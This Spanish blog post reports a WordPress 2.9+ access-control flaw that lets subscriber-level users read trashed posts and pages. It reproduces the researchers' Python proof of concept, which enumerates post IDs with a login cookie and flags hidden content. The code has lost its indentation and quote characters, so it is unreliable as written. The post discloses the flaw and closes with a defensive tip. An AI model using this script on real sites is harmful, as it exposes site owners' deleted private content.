Un nuevo fallo en el famoso WordPress, descubierto por el investigador Thomas Mackenzie permitiría a “cualquier” persona los artículos, comentarios y paginas, que hayas borrado y se encuentren en la “papelera”.

wordpresstrash300x300 Pueden leer tu Basura

Desde la versión 2.9 de WordPress se implementó una nueva característica  llamada “papelera“, con la cual todos los artículos, comentarios o páginas “borradas” pasarían a la “papelera de reciclaje” para prevenir así que sean eliminados de forma accidental.

Lo que descubrió Thomas Mackenzie es que en WordPress decidieron no ponerle restricción de acceso a los contenidos de la “papelera”, por lo que cualquier persona con privilegio 0 (Suscriptor) podría ver todo lo que estuviera almacenado en ella, el único inconveniente (y posiblemente la razón por la que dejaron este nivel de acceso), es que necesitamos conocer la ruta de los contenidos eliminados para poder acceder a ellos… cosa que Mackenzie pudo solucionar desarrollando este script en Python, con el que enumera los contenidos que tenemos en nuestra “papelera”.

El Script es el siguiente:

#/usr/bin/python
#
# WordPress > 2.9 Failure to Restrict URL Access PoC
#
# This script iterates through the WP post ID’s as an authenticated and unauthenticated user.
# If the requests differ a ‘Trash’ post has been found.
#
# You will need an authenticated user cookie of any priveledge to run this script.
#
# Example cookie:
# wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3=test%7C1266245173%7C990157a59700a69edbf133aa22fca1f8
#
# Will only work with WP URLs with the ‘/?p={int}’ parameter. Would need to handle redirects (3xx) to handle all URL types.
#
#
# Research/PoC/Advisory By: Tom Mackenzie (tmacuk) and Ryan Dewhurst (ethicalhack3r)

import httplib

# Declare vars
blogURL = “www.example.com”
userCookie = “enter_cookie_here”
postID = 0 #Leave at 0

conn = httplib.HTTPConnection(blogURL)
Headers = {“Cookie” : userCookie}

print
print “Target = http://” + blogURL + “/?p=” + str(postID)
print

while 1:

# Start non authenticated enumeration

request = ‘/?p=’ + str(postID)
conn.request(“GET”, request, “”)

try:
r1 = conn.getresponse()
except:
print “Connection error”

data1 = r1.read()

# Start authenticated enumeration

conn.request(“GET”, request, None, Headers)

try:
r2 = conn.getresponse()
except:
print “Connection error”

data2 = r2.read()

# Compare the HTML body reponses

if data1 != data2:
print “+ Found! http://” + blogURL + request
else:
print request

postID += 1

conn.close()

(Así que ya sabes, Vacía la papelera!)

Tagged with:

Fichero archivado: VulnerabilidadesWeb

Le gusto este articulo? Subscribete a mi RSS feed y obtener mas descargas!